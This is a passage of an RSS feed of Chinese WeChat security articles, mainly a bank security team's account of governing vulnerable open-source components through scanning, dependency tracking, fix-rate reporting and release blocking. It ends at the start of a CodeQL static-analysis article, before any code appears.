14px;">结论：基本没什么用，不必大惊小怪，不放心请用poc自行去测试。</span></p><p><br/></p>



<p><a href="2247484507">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bcca2a11&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484507%26idx%3D1%26sn%3D45a81007a5ed8504907351a020d42234%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 27 Aug 2020 17:42:00 +0800</pubDate>
    </item>
    <item>
      <title>通用组件安全治理三步走实践</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484493&amp;idx=1&amp;sn=e21614999f4ab21eb91c599a8e38e796</link>
      <description>组件安全治理一直是备受关注的安全问题之一，对于企业安全建设来说，必须有一套从预警到整改的闭环方案。在此笔者想分享我们在组件安全治理上的实践，希望对大家有所帮助。</description>
      <content:encoded><![CDATA[<p>
原创 <span>shuaihu</span> <span>2020-08-19 14:36</span> <span style="display: inline-block;"></span>
</p>

<p>组件安全治理一直是备受关注的安全问题之一，对于企业安全建设来说，必须有一套从预警到整改的闭环方案。在此笔者想分享我们在组件安全治理上的实践，希望对大家有所帮助。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=00c53fd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6VUcqbEOSlzHeKWS9TLKbUD56NXkRsSHMZfupJ8aFZNTKQI3weibrAuticy7nYyZBJOfLs8bib7xp9w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><section style="line-height: 150%;margin-bottom: 5px;" data-mpa-powered-by="yiban.io"><span style="font-family: 等线;font-size: 14px;"><em style="font-weight: 700;letter-spacing: 0.544px;text-align: start;white-space: pre-line;background-color: rgb(255, 255, 255);color: rgb(74, 74, 74);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><span style="font-family: 等线;font-size: 12px;">Author：平安银行应用安全团队-shuaihu</span></em></span><br/></section><section style="line-height: 150%;margin-bottom: 5px;"><span style="font-family: 等线;font-size: 14px;">（本文暂不表供应链安全，这块相对比较复杂。）</span></section><section mpa-from-tpl="t"><section mpa-paragraph-type="title" mpa-from-tpl="t" style="line-height: 150%;"><section mpa-from-tpl="t" style="line-height: 150%;"><h2 mpa-is-content="t" style="line-height: 150%;margin-top: 20px;margin-bottom: 15px;"><span style="font-size: 14px;font-family: 等线;">这几年经常被提及的fastjson/struts2等开源、通用组件，其适用范围广，一旦存在漏洞，造成的危害非常大，这也是目前大部分公司面临的比较主要的组件安全问题。与此同时，企业内部组件安全治理的要求也不断在提升，对于企业安全建设来说，必须有一套从预警到整改的闭环方案。在此笔者想分享我们在组件安全治理上的实践，希望对大家有所帮助。</span></h2></section></section></section><p style="line-height:150%;"><strong><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">名词释义：</span></span></strong><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;"></span></span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">应用：</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">是一个可以独立部署的具有特定完整功能的最小代码单，在一些公司内部也被理解成是可以拆分成的最小的一个系统。</span></span></p><p style="line-height: 150%;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">子系统：多个应用的合集。</span></span></p><p style="line-height:150%;"><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="" mpa-from-tpl="t"><section style="text-align: center;" mpa-from-tpl="t"><section style="width: 100%;text-align: left;" mpa-from-tpl="t"><section style="border-bottom: 2px solid rgb(80, 145, 230);display: inline-block;vertical-align: top;padding-left: 5px;padding-right: 5px;margin-bottom: -1px;" mpa-from-tpl="t"><section mpa-from-tpl="t" mpa-is-content="t"><strong>组件安全治理</strong><strong>R</strong><strong>ound</strong><strong>1</strong></section></section><section style="height: 1px;border-bottom: 1px solid rgb(160, 160, 160);width: 100%;" mpa-from-tpl="t"><br mpa-from-tpl="t"/> </section></section></section></section></section></section></section><p><br/></p><section style="line-height: 150%;margin-bottom: 10px;"><span style="font-size: 14px;font-family: 等线;">当发现某组件新出现安全漏洞时，我们可以通过SAST扫描仓库地址的方式将这些组件及版本信息和对应的仓库地址采集到，通过CMS（内部应用管理子系统）将仓库地址和应用对应起来，然后将应用的相关开发关联起来，这样即可完成组件漏洞-代码仓库-应用-开发人员的关联链路，<span style="font-family: 等线;font-size: 14px;">实现</span>精准推送漏洞至应用相关开发人员。</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2178329571106095" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1772" src="https://wechat2rss.xlab.app/img-proxy/?k=56cfdb5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6VUcqbEOSlzHeKWS9TLKbUxvhSteK0uyBG7NL503Q8TnmMNg2xG51TmGXx6ia6Kc2ofaW0c5PrRYQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 150%;margin-top: 10px;"><span style="font-family: 等线;font-size: 14px;">做到了这一步，我们</span><span style="font-family: 等线;font-size: 14px;">就实现了组件治理从无到有的过程，实现了</span><strong><span style="font-family: 等线;font-size: 14px;">资</span><span style="font-family: 等线;font-size: 14px;">产</span><span style="font-family: 等线;font-size: 14px;">漏洞</span><span style="font-family: 等线;font-size: 14px;">修复责任</span><span style="font-family: 等线;font-size: 14px;">到人</span></strong><span style="font-family: 等线;font-size: 14px;">的</span><span style="font-family: 等线;font-size: 14px;">工具化。</span></section><p style="line-height: 150%;margin-top: 10px;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">但我们也面临了一些困难：组件漏洞暂时无法解决二次依赖问题，会存在漏报、误报情况。</span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">例如</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">部分开发通过修改仓库的</span>pom文件内容修改组件版本，但并未真正发版，导致存在误报</span><span style="font-size: 14px;"><span style="font-family:宋体;">；</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">再有就是线上代码实际使用的仓库及代码分支不一致问题（如部分使用</span>release分支，部分使用master分支），导致检测出来的组件版本和线上并不一致，从而产生误报。<span style="font-family: 宋体;font-size: 14px;">另外，</span><span style="font-family: 等线;font-size: 14px;">外购系统因无源码问题会导致漏报</span><span style="font-family: 宋体;font-size: 14px;">，</span><span style="font-family: 等线;font-size: 14px;">部分开发测试未规范管理代码或未放入仓库也会导致漏报。</span></span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">针对以上问题的优化思路：</span></span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">当组件信息存在二次依赖的情况下，需要具备组件依赖信息的查询工具</span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">，</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">需要线上环境的组件版本支撑</span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">，</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">需要发布过程中的数据，确保组件数据是真实的而不是失效的。</span></span></p><p style="line-height:150%;"><span style="font-family:宋体;font-size:14px;"> </span></p><p style="line-height:150%;"><span style="font-family:宋体;font-size:14px;"><br/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="" mpa-from-tpl="t"><section style="text-align: center;" mpa-from-tpl="t"><section style="width: 100%;text-align: left;" mpa-from-tpl="t"><section style="border-bottom: 2px solid rgb(80, 145, 230);display: inline-block;vertical-align: top;padding-left: 5px;padding-right: 5px;margin-bottom: -1px;" mpa-from-tpl="t"><section mpa-from-tpl="t" mpa-is-content="t"><strong>组件安全治理</strong><strong>R</strong><strong>ound</strong><strong>2</strong></section></section><section style="height: 1px;border-bottom: 1px solid rgb(160, 160, 160);width: 100%;" mpa-from-tpl="t"><br mpa-from-tpl="t"/> </section></section></section></section></section></section></section><p><br/></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过部署HIDS</span>厂商的产品，实现了服务器端组件采集功能。</span><span style="font-family: 等线;font-size: 14px;">我们</span><span style="font-family: 等线;font-size: 14px;">每天采集组件数据，每天更新验证线上还有哪些资产及哪些组件受影响。</span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过获取</span>CI过程中的成品包，进行成品包的扫描，可以获取即将发布应用的成品包依赖信息，包括二次依赖（这个工具是外购jf的xray产品，依赖分析还是很不错的，比较完整），然后通过CD工具获取该成品包部署到了哪些服务器上（公司的应用往往集群部署，并且进行灰度发布），可实现组件漏洞修复的全过程监控。</span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">对于应用的部署都是单机单应用</span>/单容器单应用的部署情况</span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">，通过此方案</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">可实现组件漏洞</span>-服务器/容器-应用-开发的关联链路，将漏洞推给责任干系人，并要求按照规定风险等级进行修复。</span><span style="font-family: 等线;font-size: 14px;">同</span><span style="font-family: 等线;font-size: 14px;">时我们也会</span><span style="font-family: 等线;font-size: 14px;">将相关修复数据情况按照告警同步策略发送相关干系人及领导督促修复，并制作了各部门修复率及修复时效报表。</span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">在此过程中我们建立了安全元数据的模型，新增了组件漏洞库数据，以及各应用在用的组件库信息，包括组件</span>/版本/应用/服务器/组件路径或成品包路径信息。</span></p><section style="line-height: 150%;margin-top: 10px;"><span style="font-size: 14px;font-family: 等线;">通过安全元数据组件接口，可查询任意应用的组件依赖详细信息：</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7686318131256952" data-s="300,640" style="" data-type="png" data-w="1798" src="https://wechat2rss.xlab.app/img-proxy/?k=55e800fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6VUcqbEOSlzHeKWS9TLKbUJjo7R4PcnZy7bNwW9V4XOxtkZa9AWjZavSQyQFbMGibUecibpiaJraO2w%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: center;margin-top: 15px;"><span style="font-family: 宋体;font-size: 14px;text-align: justify;"> </span><br/></section><section style="line-height: 150%;margin-top: 10px;margin-bottom: 15px;"><span style="font-size: 14px;font-family: 等线;">组件漏洞库接口：</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7686230248306998" data-s="300,640" style="" data-type="png" data-w="1772" src="https://wechat2rss.xlab.app/img-proxy/?k=e22d1435&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6VUcqbEOSlzHeKWS9TLKbU97ZiaJCESSSKau2zAFc0dtFvNXpFBXEKnicjQJyWzk07vkZyZJaBPIkA%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height:150%;"><span style="font-family: 宋体;font-size: 14px;"></span><br/></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">基于以上，我们实现了如下几点：</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">1. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">应用组件生命周期的监控，打包发布部署过程中的组件升级（低版本组件删除，高版本组件增加）；</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">2. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">实现了二次依赖的关联分析；</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">3. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">建立了安全元数据开源组件模型，元数据后端的组件数据T</span>+</span><span style="font-family:等线;font-size:14px;">1</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">自动更新</span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">，</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">开发可在<span style="font-family: 等线;font-size: 14px;">修改代码</span>后T+1天确认是否修复完成；</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">4. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">形成报表统计给相关领导汇报，列出各个</span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">部门的</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">修复排名（这个很重要），督促修复。</span></span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">当然，上述实践过程同样也存在一些问题：<br/></span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">1. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">部分备份的成品包会被检测到，导致误报；</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">2. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">基于版本判断，对于一些漏洞版本有影响，但是漏洞利用条件较为苛刻，需要特定编码才会触发的漏洞，将扩大受影响资产。</span></span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">对此我们的优化方案是：</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">1. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">组件版本较低视为风险，并不一定可以利用，同时需要其他工具辅助测试验证，如各种扫描器；</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">2. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">跟架构部门联合规范发布部署行为，禁止开发</span>/运维将备份放到服务器上，删除备份包。</span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;"><br/></span></p><h2 style="line-height:150%;"><strong><span style="font-size: 21px;"><span style="font-family:等线 Light;"></span></span></strong><br mpa-from-tpl="t"/></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="" mpa-from-tpl="t"><section style="text-align: center;" mpa-from-tpl="t"><section style="width: 100%;text-align: left;" mpa-from-tpl="t"><section style="border-bottom: 2px solid rgb(80, 145, 230);display: inline-block;vertical-align: top;padding-left: 5px;padding-right: 5px;margin-bottom: -1px;" mpa-from-tpl="t"><section mpa-from-tpl="t" mpa-is-content="t"><strong>组件安全治理</strong><strong>R</strong><strong>ound</strong><strong>3</strong></section></section><section style="height: 1px;border-bottom: 1px solid rgb(160, 160, 160);width: 100%;" mpa-from-tpl="t"><br mpa-from-tpl="t"/> </section></section></section></section></section></section></section><p><br/></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过前</span>2轮的技术论证可以检测出绝大多数的组件漏洞并可以进行自动验证。</span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">实际修复情况可能和预期还有一些差距，真正落地解决问题还是有一些阻力。</span></span><span style="font-family: 等线;font-size: 14px;">主要问题如下：</span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">1. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">外购系统是整体修复时效上的重灾区，真正修复花费的时间可能需两三个月甚至更多；</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">2. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">部分二次依赖的组件问题，官方的组件包即使升级到最高版本，其依赖的组件包可能还是有漏洞的，需开发自测升级后是否有兼容性问题；</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">3. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">部分开发团队安全意识较薄弱，认为组件安全问题影响不大，修复缓慢；</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">4. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">少量新增的应用仍然出现了漏洞版本组件。</span></span></p><p style="line-height:150%;"><span style="font-family:宋体;font-size:14px;"> </span></p><p style="line-height:150%;"><span style="font-family: 等线;font-size: 14px;text-align: left;">修复率统计：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3043968432919955" data-s="300,640" style="" data-type="png" data-w="1774" src="https://wechat2rss.xlab.app/img-proxy/?k=9bd6558c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6VUcqbEOSlzHeKWS9TLKbU07oZobDpS0AlkLhIRPqOyt0eskOTdWkdFNe36vWa6OVHDlJCInHIZQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height:150%;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"></span></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2684563758389262" data-s="300,640" style="" data-type="png" data-w="1788" src="https://wechat2rss.xlab.app/img-proxy/?k=897196da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6VUcqbEOSlzHeKWS9TLKbUXGPJ9L3qXQQo06icial2pHcx9WwTywYD3kuktSWljurb5GbF4s24HWdw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="font-family: 宋体;font-size: 14px;text-align: justify;"> </span><br/></p><section style="line-height: 150%;margin-top: 10px;"><span style="font-family:等线;font-size:14px;">以上问题可解决的方案：</span></section><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">1. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过版本安全管控及组件黑名单的阻断机制，确保新增应用无历史组件安全问题。</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">2. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过在组件仓库设置组件黑名单，如果使用低版本的组件将无法打包成功，强制要求开发升级版本。</span></span></p><p style="margin-left:28px;line-height:150%;"><span style="font-family:等线;font-size:14px;">3. </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过版本管控，如果应用版本发布过程中，仍然存在组件安全问题，将禁止发版强行阻断。</span></span></p><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">当然特定发布情况下允许放开限制，需要制定一些安全例外流程允许例外，这个时候就取决于业务优先还是安全优先了，结合实际情况进行分析。</span></span></p><section style="line-height: 150%;margin-top: 15px;margin-bottom: 15px;"><span style="font-size: 14px;font-family: 等线;">组件安全漏洞版本发布阻断：</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.1709211986681465" data-s="300,640" style="" data-type="png" data-w="1802" src="https://wechat2rss.xlab.app/img-proxy/?k=dce86487&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6VUcqbEOSlzHeKWS9TLKbUeyFicEDRbicnOjiaf3BYHaRhbce8j72X0tjqHqRU8BkcSkzlcZal0nMUA%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 150%;margin-top: 15px;margin-bottom: 15px;"><span style="font-size: 14px;font-family: 等线;">安全检测报告中组件安全漏洞检测纬度：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.356651376146789" data-s="300,640" style="" data-type="png" data-w="1744" src="https://wechat2rss.xlab.app/img-proxy/?k=d751273a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6VUcqbEOSlzHeKWS9TLKbU0YYtvaf6WO8EZsS7alQp7IyNicNYw7vLoicU75qUKBDE8wkvcNEB4bBw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height:150%;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"></span></span></p><section style="line-height: 150%;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">以上组件安全治理的实践经过几轮的迭代优化，目前已实现了一旦出现新的组件漏洞，可快速排查定位和分发处置，</span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">同时</span></span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">也可以实现存量历史组件漏洞的处理。在逐步推进运营的过程中，将会让漏洞组件越来越少，达到一个比较好的水平。</span></span></section><section style="line-height: 150%;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">目前需要做主要是优化漏报及误报情况，在每次检测扫描的过程中，排查哪些场景还没有覆盖掉，为什么存在漏洞，然后</span>case</span><span style="font-family:等线;font-size:14px;"> </span><span style="font-family:等线;font-size:14px;">by</span><span style="font-family:等线;font-size:14px;"> </span><span style="font-family:等线;font-size:14px;">case。在常态运营过程中，需不断迭代优化检测逻辑，查漏补缺。当然，不光是开源组件jar包，我们的nodejs</span><span style="font-family:等线;font-size:14px;"> </span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">和</span>python的这类第三方库，也可以用类似的方法去覆盖去解决。</span></section><p style="line-height:150%;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">另外很多公司会对一些开源的组件进行改造，以符合公司内部的场景，这种情况下，我们还需要将组件漏洞和企业二次改造的组件包进行分析验证，确认下是否受影响，使用同样的方式进行推进修复。</span></span></p><section style="line-height: 150%;margin-top: 10px;"><span style="font-family: 等线;font-size: 14px;">最终我们要实现对目标（应用）所依赖的全部组件信息进行管理，同时对组件信息库做安全标识，最终形成目标的组件安全分值，并且通过持续运营更新应用的组件安全分值。</span></section><section style="line-height: 150%;margin-top: 10px;"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 10px;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="margin-bottom: -60.5px;margin-right: -16.5px;width: 100%;display: flex;justify-content: flex-end;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 76px;height: 71px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9337748344370861" data-w="302" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9708aee6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfdlicZ9aQfPjkGqnBMo2TZQvIOicgTUZ7rZjtOEC0Mew8aGXV6H14uHnLBkVBUNJRBG7s9GnYc3ecQk9FojUejaA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="z-index: 2;background: #d8eeff;border-radius: 9px;padding: 17px;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section style="width: 101px;height: 101px;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img data-cropselx1="0" data-cropselx2="101" data-cropsely1="0" data-cropsely2="101" data-ratio="1" style="width: 101px;height: 101px;" data-type="jpeg" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=84a51ddd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z4RlHv5xMA9PGiaPYDSHaHeGKn6EPjTpibSoc52UJxPricRNPY0uzvKbFCMzohoXj2wxwMWCZePsYdBw%2F640%3Fwx_fmt%3Djpeg"/></section></section></section><section style="width: 100%;z-index: 3;margin-top: -23.5px;display: flex;justify-content: space-between;align-items: flex-end;" data-mid="" mpa-from-tpl="t"><section style="margin-left: -4.5px;" data-mid="" mpa-from-tpl="t"><section style="width: 90px;height: 24px;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.2536231884057971" data-w="276" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=55946c53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FD0Hcv4QkOgbLdbea5DzVn4mz6icjhvTnbeACrrW9ktxdiau6dkSYEBGk5s0nibrTN9Xu3RibnGMrxuNdRo7npojylg%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin-right: -17.5px;" data-mid="" mpa-from-tpl="t"><section style="width: 59px;height: 18px;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.3150684931506849" data-w="146" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b0ecb377&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FxxutAfruTPuHHniaGUrKH3Tqk9PORxAojIyqn6LxBDvfmzPCyErOUCHJVFxnBTBJZ2HZJmIbAYeepgqvFib95J1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section>



<p><a href="2247484493">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=54cdd664&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484493%26idx%3D1%26sn%3De21614999f4ab21eb91c599a8e38e796%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Aug 2020 14:36:00 +0800</pubDate>
    </item>
    <item>
      <title>CodeQL静态代码扫描之实现关联接口、入参、和危险方法并自动化构造payload及抽象类探究</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247484466&amp;idx=1&amp;sn=336628177db219ea1528e6387ae223ea</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>xsser</span> <span>2020-08-05 10:17</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=113bb84b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z76hkwDHCcC6aibm7KWM7iaib9fKLdMqoPyAeybQxhjINHpFXUJgSflJvkw44wLWTuwFxjfZaTKy4zAw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><section mpa-from-tpl="t" data-mpa-powered-by="yiban.io"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 13px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-weight: bold;">author：平安银行应用安全团队@xsser</span></section></section></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 10px 0px;display: flex;flex-direction: column;align-items: flex-start;" mpa-from-tpl="t"><section style="padding-right: 30px;font-size: 18px;line-height: 40px;border-bottom: 1px solid rgb(187, 208, 67);" mpa-from-tpl="t" mpa-is-content="t"><strong><span style="font-size: 17px;">大背景</span></strong></section><section style="width: 50px;border-top: 3px solid rgb(187, 208, 67);height: 1px;" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="margin-bottom: 5px;"><span style="font-size: 14px;font-family: 等线;">在CodeQL出来之前，我们拥有的静态代码扫描工具常见为：fortify，checkmarks，sonar，findbugs，pmd等，这些工具的特色有一些是基于静态的ast结构，例如pmd，纯静态的ast解析的工具存在误报多，无法追踪漏洞等致命的问题，而findbugs之类存在堆栈跟踪有限的情况，checkmarks的数据流又存在跟踪不全无法定义构造特定情况下的数据流的情况，重点是还要钱！</span><br/></section><section style="margin-top: 10px;margin-bottom: 15px;"><span style="font-family: 等线;font-size: 14px;">在这个情况下，</span><span style="font-family: 等线;font-size: 14px;">CodeQL</span><span style="font-family: 等线;font-size: 14px;">在2</span><span style="font-family: 等线;font-size: 14px;">019</span><span style="font-family: 等线;font-size: 14px;">年年底，即疫情爆发之际</span><span style="font-family: 等线;font-size: 14px;">由微软发布了此工具。经过数月的研究发现，这个工具功能异常强大，其底层的图数据库非常好，可以编写自己描述的规则来寻找对应的数据流从而实现漏洞定位，甚至数据安全的一些实践。故把研究成果分享给大家，希望大家可以从中受益！</span>  </section><section style="margin-top: 10px;margin-bottom: 15px;"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="width:100%;text-align:center;" mpa-from-tpl="t">   <span style="font-size: 16px;color: rgb(214, 214, 214);">  </span><span style="font-size: 16px;color: rgb(178, 178, 178);">实现关联接口、入参、和危险方法并自动化构造payload</span><br mpa-from-tpl="t"/></section><section data-mpa-template="t" mpa-from-tpl="t"><img data-ratio="0.01875" width="auto" data-type="jpeg" data-w="640" style="font-size: 15px;color: rgb(62, 62, 62);line-height: 1.6;display: inline;height: auto !important;width: auto !important;visibility: visible !important;" title="金属质感分割线" 